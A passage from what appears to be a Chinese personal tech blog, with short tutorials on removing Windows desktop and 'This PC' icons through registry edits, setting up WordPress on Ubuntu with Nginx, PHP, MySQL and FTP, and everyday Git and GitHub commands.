看着很烦，但又因为Windows聚焦自带的壁纸比其他主题的壁纸好看很多，所以删除这个图标是最好的办法

如何删除？

win+R输入regedit，然后找到如下路径

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel

右键->新建->DWORD(32位)值

将其重命名为 {2cc5ca98-6485-489a-920e-b3e88a6ccce3}，然后双击打开更改数值数据为1，回到桌面刷新一下即可删除该图标。

配置好的注册表项应该是这样

设备驱动器中的百度网盘标志怎么删除?

Wed, 05 Mar 2025 20:05:51 +0800

前言

这是我第N次删除设备和驱动器中百度网盘标志了。每次百度网盘更新，曾经删除的百度网盘图标就又复活了。

大致思路是打开注册表，找到相应的值，删除。但是删除后相隔的周期长了再删除时，忘记路径是什么了。这次就专门记录一下。

如何删除？

win+R输入regedit，然后找到如下路径

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace

Tip

删除整个 {CF3CDEFB-31BE-43AE-B064-B9C62C883259} 目录即可去除 PPS图标

删除整个 {679F137C-3162-45da-BE3C-2F9C3D093F64} 目录即可去除 百度云盘图标

删除整个 {01249E9F-88FF-45d5-82DB-A1BEE06E123C} 目录即可去除 360云盘

删除整个 {BA16CE0E-728C-4FC9-11E5-D0B35B384552} 目录即可去除 爱奇艺视频

简单方法

当然，这个方法比较麻烦，现在百度还算有点良心，自己加了去除的选项

打开百度网盘，右上角进入设置界面。

取消勾选“在我的电脑中显示网盘”即可

搞定，这样看着舒服多了

如何在Ubuntu上部署WordPress

Wed, 22 Jan 2025 11:39:47 +0800

本文分享如何在不使用服务器面板的情况下配置好环境,然后用Ubuntu搭建一个WordPress博客。

文章<>中的内容需要替换为自己的信息,不要直接照抄

前言

NGINX 是增长最快、最受欢迎的 Web 服务器。NGINX 是一款功能强大的 Web 服务器、反向代理和负载均衡器，以其高性能、稳定性和可扩展性而闻名。它通常用于提供 Web 内容、处理传入流量并将其分发到多个服务器。

PHP 是一种广泛使用的开源脚本语言，专为 Web 开发而设计。从创建动态网页开始，PHP现在用于开发桌面应用程序。PHP 以其易用性、灵活性和对不同操作系统和 Web 服务器的广泛支持而闻名。(简单易用)

MySQL 是采用最广泛的开源关系数据库，是许多流行网站、应用程序和商业产品的主要关系数据存储。

WordPress 用于创建网站、博客，甚至一些 Web 应用程序。它已成为一种流行且功能强大的内容管理系统（CMS）

FTP（文件传输协议英语：File Transfer Protocol，缩写FTP）是在计算机网络的客户端和服务器间传输文件的应用层协议网络传输协议)。在这里用来解决wordpress文件上传的问题,同时将功能模块化

环境

Ubuntu22.04LTS

其他发行版的配置与本文基本只存在安装软件包的区别

更新系统包

sudo apt update
sudo apt upgrade

一般来说，在执行第一行命令时，系统会自己拉取最优的镜像源

🔗如果更新速度很慢说明拉取不正确，请参考linux换源手动更换

安装Nginx

sudo apt install nginx
sudo systemctl status nginx         #检查nginx状态,若处于active状态,则安装成功
sudo systemctl start nginx          #启动nginx服务器
sudo systemctl enable nginx         #nginx开机自启动
curl http://localhost               #返回页面信息

安装MySql

sudo apt install -y mysql-server #-y参数意思是安装时全选yes
sudo systemctl status mysql
#sudo mysql_secure_installation) #此项非必选,可跳过(在mysql_secure_installation过程中，会提示进行一些安全设置，如设置MySQL root密码、删除匿名用户、禁止root远程登录等。根据提示完成配置)

创建WordPress数据库和用户

#进入mysql命令行 进入后显示 mysql>
sudo mysql -u root -p

在MySql命令行中执行以下SQL命令

# 创建一个名为<xxx>的数据库 
CREATE DATABASE <数据库名>;
# 创建一个名为<xxx>的用户,localhost指定该用户只能从本地主机进行连接 
CREATE USER <用户名>@localhost IDENTIFIED BY <密码>;
# 给予<xxx>用户操作指定数据库下所有数据的权限 
GRANT ALL PRIVILEGES ON <数据库名>.* TO <用户名>@localhost;
# 退出sql操作
EXIT;

在安装PHP前,先对MySql进行测试

#提示输入密码,验证通过进入mysql命令行,说明配置成功
mysql -u <用户名> -p <数据库名>
#如果不成功,显示ERROR 1045(28000),一般是密码设置出了问题,可重新键入
mysql -u <用户名> -p <数据库名> 或 SET PASSWORD for <用户名>@localhost

安装PHP

sudo apt install -y php-fpm php-mysql php-curl php-mbstring php-imagick php-xml php-zip

WordPress 需要多个 PHP 模块才能正常运行

MySQL 用于连接到MySQL数据库。
cURL 用于发出远程请求的 cURL。
Mbstring 处理多字节字符串。
ImageMagick 执行图像大小调整等操作。
XML 提供 XML 支持。
Zip 以解压缩插件、主题和 WordPress 更新包。

获取php-fpm服务器版本号(重要)

ls /var/run/php # 获取php<版本号>-fpm.sock的版本号
sudo systemctl status php<版本号>-fpm.service # 检查fpm服务器运行状态

下载并配置WordPress

#进入Nginx默认的web目录
cd /var/www/html
#下载wordpress的最新版本
sudo wget https://wordpress.org/latest.tar.gz
#解压下载的压缩包
sudo tar -xzvf latest.tar.gz
#将解压后的文件移动到当前目录
sudo mv wordpress/* .
#删除wordpress文件夹和压缩包
sudo rm -rf wordpress latest.tar.gz

(这里没有建立多个网站的需求,所以直接将压缩包内容放到了/var/www/html目录下)

#配置WordPress文件权限
sudo chown -R www-data:www-data /var/www/html
sudo chmod -R 755 /var/www/html

命令说明

这里的chown改变了文件或目录的所有者和所属组;

-R为递归处理参数,对目录及目录内的所有子目录和文件的所有者进行变更;

www-data:www-data 意思是将文件权限给予www-data用户并将它们加入到www-data用户组。前者确保只有web服务器进程可以修改这些文件,提高安全性;后者保证web服务器能够正常访问和处理这些文件。

第二条命令涉及文件的读写和执行权限问题,之后会有单独的博客文章进行解释

配置Nginx

#创建一个新的Nginx服务器块配置文件
sudo vim /etc/nginx/sites-available/wordpress
#在文件中添加如下内容
server {
    listen 80;
    server_name <替换为自己的域名或ip>;
    root /var/www/html;
    
    index index.php index.html index.htm index.nginx-debian.html;

    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php<版本号>-fpm.sock;
    }

    location ~ /\.ht {
        deny all;
    }
}
#激活配置文件并禁用默认的配置文件
sudo ln -s /etc/nginx/sites-available/wordpress /etc/nginx/sites-enabled/
sudo unlink /etc/nginx/sites-enabled/default

解释

Nginx 通常使用以下目录结构来管理站点配置：

/etc/nginx/sites-available/：这个目录包含所有可用的站点配置文件。这里的文件不一定被 Nginx 激活。
/etc/nginx/sites-enabled/：这个目录包含所有已启用的站点配置文件。Nginx 只会加载这个目录中的配置文件。
通过将 sites-available 目录中的配置文件链接到 sites-enabled 目录，可以方便地启用或禁用站点，而无需复制文件。

通过删除符号链接禁用默认配置文件

unlink：是一个用于删除文件或符号链接的命令。与 rm 命令不同，unlink 只能删除单个文件或符号链接。
/etc/nginx/sites-enabled/default：需要删除的文件或符号链接的路径。

#测试Nginx配置是否正确
sudo nginx -t
#返回successful说明配置正确
#重启Nginx
sudo systemctl reload nginx

完成WordPress安装

打开浏览器,访问设置的域名或ip地址,进入wordpress配置面板后按提示完成安装

(这里建议修改wp数据库的默认前缀wp_)

wordpress上传文件出现413错误

WordPress上传文件出现413错误是由于上传文件大小超过了服务器的限制,可以通过如下两种方法解决:

方法一：放宽上传文件大小限制

#修改Nginx配置文件
sudo vim /etc/nginx/nginx.conf
#在http块中添加或修改以下行
http {
    client_max_body_size 100M;
}
#保存并关闭文件后重启Nginx
#修改PHP配置文件
sudo vim /etc/php/<版本号>/fpm/php.ini
#找到并修改以下行
upload_max_filesize = 100M
post_max_size = 100M
#保存并关闭文件后,重启PHP-FPM
sudo systemctl restart php<版本号>-fpm

方法二：搭建FTP服务器

#安装vsftpd
sudo apt update
sudo apt install vsftpd
#配置vsftpd
#编辑vsftpd配置文件
sudo vim /etc/vsftpd.conf
#去掉以下语句的注释:
local_enable=YES
write_enable=YES

#添加以下语句或去掉它们的注释:
chroot_local_user=YES
allow_writeable_chroot=YES

#在末尾添加如下语句:
pasv_min_port=10000
pasv_max_port=10100
pasv_address=<服务器ip>
#保存并关闭文件,重启vsftpd
sudo systemctl restart vsftpd
sudo systemctl enable vsftpd
#创建FTP用户,会提示设置密码,输入即可
sudo adduser <用户名>
#为该用户设置web目录的访问权限,为了让上传文件夹更好管理,建议创建一个FTP目录
sudo mkdir /var/www/html/<FTP文件夹名>
sudo chown -R <用户名>:<用户名> /var/www/html/<FTP文件夹名>

使用FTP客户端(FileZilla或WinSCP),填入刚创建的FTP用户信息进行连接。

连接之后可以将文件上传至/var/www/html/<FTP文件夹名>目录,然后使用ssh进行文件管理

最简单的github使用教程

Wed, 22 Jan 2025 09:47:16 +0800

Tip

<>中包的信息都需要替换成自己的，不要直接CV

下以origin来表示最先创建的本地库别名，main为主分支，dev为第二分支

使用前的准备

你需要一个github账号(自己去注册)

🔗然后在系统中安装git工具，网址:https://git-scm.com/

🔗看不懂英文或者找不到安装包在哪里的可以用本站自建网盘:https://cloud.nicht.top/s/e6Un

创建并链接远程仓库

初始化本地仓库

安装好git后在你的本地仓库文件夹右键，点击Open Git Bash here，然后执行以下命令

git init

在本目录下会增加一个.git的隐藏文件夹,存放了git仓库的相关信息

配置用户名和密码

git config --global user.name <用户名>
git config --global user.email <邮箱>

生成SSH Key密钥

ssh-keygen -t rsa -C <邮箱>

连按三次回车,直到出现SHA-256图像为止

密钥存放在C:\user\user.name.ssh(linux在~下的.ssh中)文件夹下

cat C:/Users/<windows系统用户名>/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa.pub

如果你不知道用户名的话Ctrl+R呼出运行，在窗口中键入cmd回车，然后输入whoami命令

复制所有内容(从ssh-rsa开始到邮箱结尾，图中隐去了我的密钥)

配置github密钥

打开github

依次点击:右上角头像 - settings - SSH and GPG keys - New SSH key

Title是备注，自己取名

Key:将复制的密钥填入,然后点击Add SSH key

创建github仓库

设定仓库名字和属性(public or private)

复制远程仓库的ssh地址

本地仓库链接远程仓库

git remote add <仓库别名(本地)> <仓库的ssh地址>
git remote add origin <仓库的ssh地址>
git remote              #查看仓库别名
git remote -v           #查看本地所有仓库

测试链接是否成功

ssh -T git@github.com

出现hi+用户名什么的说明链接成功(后面的but GitHub does not provide shell access.意思是github不允许shell交互,不是报错)

提交本地仓库中的代码到远程仓库

git add .                #提交本地所有文件
git commit -m '备注'      #添加提交备注
git push -u <仓库别名> <分支名>        #首次提交需要加上后面的参数
git push -u origin main                #一般首次提交到main分支

注意

SSH Key每台设备有一份就足够了,可以同时操控多个远程仓库

一些常用命令

分支

git branch      #获取本地所有分支
git branch -a   #查看所有分支,包括远程分支
git branch -vv  #查看本地分支和它们各自上游分支间的跟踪关系
git branch dev  #创建新分支
git checkout dev    #切换分支
git switch dev  #切换分支的另一个命令
git remote remove origin    #删除指定名字的远程仓库
# 修改分支名称(如果不指定原分支名称则为当前所在分支)
git branch -m main main1
# 强制修改分支名称
git branch -M main main1

# 删除指定的本地分支
git branch -d main
# 强制删除指定的本地分支
git branch -D main
# 远程仓库名修改，本地需要先删除，重新添加

# 查看本地所有仓库
git remote -v
# 删除本地仓库
git remote rm origin 
# 重新添加
git remote add origin <远程仓库链接>

git pull

git pull 命令用于从远程获取代码并合并本地的版本。 git pull 其实就是 git fetch(拉取) 和 git merge(合并) 的简写。命令格式如下：

git pull <远程主机名> <远程分支名>:<本地分支名>

示例操作:
# 基本的更新
$ git pull
$ git pull origin

# 将远程主机 origin 的 dev 分支拉取过来，与本地的 main 分支合并。
git pull origin dev:main

# 如果远程分支是与当前分支合并，则冒号后面的部分可以省略。
git pull origin dev

分支管理(不使用pull命令进行简易合并)

[关于fetch,本质是远程仓库与本地仓库的文件进行比较,然后用merge命令合并,其本身并没有下载功能]

新建分支(本地创建后上传到远程仓库)

# 从已有的分支创建新的分支(如从main分支), 创建一个dev分支，并切换到dev分支
git checkout -b dev
# 创建完可以查看一下,分支已经切换到dev （会列出所有分支，当前分支的面会有一个*号）
git branch
# 提交dev分支到远程仓库
git push origin dev

拉取分支(本地创建远程仓库的分支)

# 把远程分支拉到本地
git fetch origin dev
# 在本地创建分支dev并切换到该分支
git checkout -b dev
# 把某个分支上的内容都拉取到本地
git pull origin dev

提交分支(提交到第二分支)

# 首先切换到dev分支上,进行提交推送
git checkout dev
# 推送到dev分支上
git add .
git commit -m ‘dev'
git push -u origin dev

合并分支

# 首先切换到main分支上
git checkout main
# 如果是多人开发的话 需要把远程main上的代码pull下来
git pull origin main
# 把dev分支的代码合并到master上
git merge dev
# push到远程main上
git push origin main

删除分支

# 删除本地分支
git branch -d dev
# 删除远程分支
git push <库别名> -d <远程分支>

分支改名

假设分支名称为old,想要修改为new

# 本地分支重命名(还没有推送到远程)
git branch -m old new
# 远程分支重命名 (已经推送远程-假设本地分支和远程对应分支名称相同)
# a. 重命名远程分支对应的本地分支

git branch -m old new

# b. 删除远程分支

git push --delete origin old

# c.上传新命名的本地分支

git push origin new

# d.把修改后的本地分支与远程分支关联

git branch --set-upstream-to origin/new

# c和d可以用一句来解决

git push -u origin new

# 若已经关联了远程分支,需要先解除关联
git branch --unset-upstream

标签与版本管理

标签相关命令

git tag <标签名>           #打标签
git tag                   #查看所有标签
git tag -a <标签名> -m "标签信息"      #打指定标签信息
git checkout <标签名>      #切换到指定标签
git show <标签名>          #查看标签文字说明

推送与删除

git push origin <标签名>       #推送标签
git push origin --tags        #一次性推送全部未到达远程的标签名

git tag -d <标签名>            #本地删除
git push origin :refs/tags/<标签名>    #远程删除某个
:refs/tags/ 的语法表示删除远程仓库中的所有标签。

在 Git 中，refs 是引用（references）的简称。它们是指向特定提交对象的指针。常见的 refs 包括分支（branches）、标签（tags）和远程引用（remote references）。

版本回退

# 查看提交的序号，也可以直接在服务器看文件
git log   

# 记得先提交保存
git reset --hard xxx   

# 此时如果用 “git push” 会报错，因为我们本地库HEAD指向的版本比远程库的要旧：
git push -f    #强推

git reset [--soft | --mixed | --hard] [HEAD]
--mixed 为默认，可以不用带该参数，用于重置暂存区的文件与上一次的提交(commit)保持一致，工作区文件内容保持不变。
--soft 参数用于回退到某个版本
--hard 参数撤销工作区中所有未提交的修改内容，将暂存区与工作区都回到上一次版本，并删除之前的所有信息提交

git reset命令用于重置当前分支的HEAD到指定的状态，并且可以选择性地重置工作目录和暂存区的内容。它有三个主要选项：–soft、–mixed 和 –hard。

用法示例：

–soft（温和）：仅重置HEAD指针到指定的提交，不改变暂存区和工作目录。例如，将HEAD指针重置到上一个提交： git reset –soft HEAD~1
–mixed（默认选项）：重置HEAD指针到指定的提交，并重置暂存区的内容，但不改变工作目录。例如，将HEAD指针和暂存区重置到上一个提交： git reset –mixed HEAD~1
–hard（彻底）：重置HEAD指针到指定的提交，并重置暂存区和工作目录的内容。例如，将HEAD指针、暂存区和工作目录重置到上一个提交： git reset –hard HEAD~1

参数说明：

HEAD：当前分支的最新提交。
HEAD~1：当前分支的上一个提交。
[commit]：可以是任意提交的SHA-1哈希值或引用。示例说明：假设当前分支有三个提交，分别是 A、B 和 C，当前HEAD指向 C。 (1). 使用 git reset –soft HEAD~~1 后，HEAD指针将指向 B，但 C 的更改仍保留在暂存区。 (2). 使用 git reset –mixed HEAD~~1 后，HEAD指针将指向 B，C 的更改从暂存区移除，但仍保留在工作目录。 (3). 使用 git reset –hard HEAD~1 后，HEAD指针将指向 B，C 的更改从暂存区和工作目录中移除。